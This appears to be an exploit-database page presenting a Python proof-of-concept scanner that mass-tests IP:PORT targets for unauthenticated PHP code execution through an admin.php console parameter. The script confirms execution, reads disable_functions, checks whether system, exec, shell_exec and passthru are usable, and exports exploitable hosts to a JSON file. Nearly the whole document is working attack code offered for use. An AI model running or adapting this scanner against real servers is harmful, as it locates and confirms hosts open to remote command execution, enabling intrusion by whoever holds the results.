5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / scan.py PY
import requests
import sys
import random
import string
import json
import re
from concurrent.futures import ThreadPoolExecutor

requests.packages.urllib3.disable_warnings()

SYSTEM_FUNCTIONS = ["system", "exec", "shell_exec", "passthru"]
vulnerable_results = []

# Regex simple IP:PORT
TARGET_REGEX = re.compile(r"^(\d{1,3}\.){3}\d{1,3}:\d{1,5}$")

def random_marker(length=8):
    return ''.join(random.choices(string.ascii_letters, k=length))

def send_payload(url, payload):
    try:
        r = requests.get(
            url,
            params={
                "ajax_panel": "1",
                "op": "console",
                "command": payload,
            },
            timeout=5,
            verify=False,
            allow_redirects=True
        )
        return r
    except requests.exceptions.RequestException:
        return None

def analyze_target(target):
    global vulnerable_results

    for scheme in ["http", "https"]:
        url = f"{scheme}://{target}/admin.php"
        marker = random_marker()

        # ---- Phase 1 : Test RCE PHP ----
        payload = f"echo '{marker}';"
        r = send_payload(url, payload)

        if not r or r.status_code != 200 or marker not in r.text:
            continue

        print(f"[+] RCE PHP CONFIRMED -> {url}")

        # ---- Phase 2 : disable_functions ----
        df_marker = random_marker()
        df_payload = f"echo '{df_marker}:' . ini_get('disable_functions');"
        r_df = send_payload(url, df_payload)

        disable_functions = ""
        if r_df and df_marker in r_df.text:
            disable_functions = r_df.text.split(df_marker + ":")[-1].strip()

        # ---- Phase 3 : function_exists ----
        available_funcs = []
        for func in SYSTEM_FUNCTIONS:
            func_marker = random_marker()
            func_payload = f"echo '{func_marker}:' . function_exists('{func}');"
            r_func = send_payload(url, func_payload)

            if r_func and f"{func_marker}:1" in r_func.text:
                available_funcs.append(func)

        impact = "HIGH" if available_funcs else "MEDIUM"

        vulnerable_results.append({
            "target": target,
            "url": url,
            "rce_php": True,
            "disable_functions": disable_functions if disable_functions else None,
            "system_functions_available": available_funcs,
            "impact_level": impact
        })

        return

    print(f"[-] Not vulnerable -> {target}")

def load_targets(filename):
    targets = []
    with open(filename, "r") as f:
        for line in f:
            line = line.strip()
            if not line or line.startswith("#"):
                continue
            if TARGET_REGEX.match(line):
                targets.append(line)
            else:
                print(f"[!] Invalid format skipped: {line}")
    return targets

def main():
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} targets.txt")
        sys.exit(1)

    targets = load_targets(sys.argv[1])

    if not targets:
        print("No valid targets found.")
        sys.exit(1)

    with ThreadPoolExecutor(max_workers=10) as executor:
        executor.map(analyze_target, targets)

    # ---- Export JSON ----
    if vulnerable_results:
        with open("results.json", "w") as outfile:
            json.dump(vulnerable_results, outfile, indent=4)
        print("\n[+] Vulnerable targets exported to results.json")
    else:
        print("\n[+] No vulnerable targets found")

if __name__ == "__main__":
    main()